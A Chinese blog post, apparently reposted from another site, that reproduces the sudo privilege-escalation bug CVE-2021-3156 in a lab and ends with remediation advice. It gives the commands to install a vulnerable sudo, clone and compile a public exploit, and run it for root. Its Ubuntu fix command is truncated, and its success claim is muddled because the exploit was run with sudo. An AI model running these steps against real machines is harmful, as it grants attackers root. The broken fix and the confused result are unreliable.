0x01 漏洞描述
这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。
并非所有存在漏洞的Sudo版本都能利用成功,glibc>=2.27版本漏洞利用难度较小,低版本的glibc也能利用成功,只是漏洞利用难度增加。
关于Linux中的sudoer详解 - yanling0813 - 博客园
0x02 漏洞影响
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
0x03 环境准备
本次复现使用的 ubuntu 版本
uname -a
查看 sudo 版本
sudo --version
判断是否存在改漏洞
sudoedit -s /
返回 usage 开头的内容,表示该漏洞已经修复
返回 sudoedit 开头的内容,表示存在该漏洞
发现此版本不存在该漏洞,于是安装旧版本的sudo
使用以下命令来获取不同版本的sudo:
apt-cache madison sudo
安装存在该漏洞的版本:
sudo apt install sudo=1.8.31-1ubuntu1
安装完成,再次输入
sudoedit -s /
返回 sudoedit 说明存在该漏洞,环境准备OK
0x04 漏洞复现
从github上克隆exp
git clone https://github.com/blasty/CVE-2021-3156.git
切换到 CVE-2021-3156 目录下,make 编译之前需要安装make、gcc组件,命令依次分别为:
sudo apt install make
sudo apt install gcc
make
ls 查看到目录下已经有了 sudo-hax-me-a-sandwich
执行以下命令,查看EXP支持的系统版本
./sudo-hax-me-a-sandwich
再次执行,根据版本选择,尝试提权
sudo ./sudo-hax-me-a-sandwich 1
输入whoami ,显示root ,提权成功。
疑问:看poc中显示执行提权操作时,可以不加sudo,但是我这边不加sudo就没有用;加了sudo才能成功,不清楚是为什么。有师傅知道的话麻烦给我解答一下疑惑,谢谢师傅们。
0x05 修复方式
1、源码编译安装最新Sudo软件包,下载链接为: https://www.sudo.ws/dist/
2、各Linux发行版参照以下命令进行升级解决:
CentOS/RHEL/Oracle Linux :
sudo yum update -y sudo
SUSE :
sudo zypper update -y sudo
Ubuntu/Debian : 文章来源:https://www.toymoban.com/news/detail-648546.html
sudo apt-get update && sudo apt-get
0x06 参考链接
https://blog.csdn.net/qq_42947816/article/details/123332692文章来源地址https://www.toymoban.com/news/detail-648546.html
到了这里,关于sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!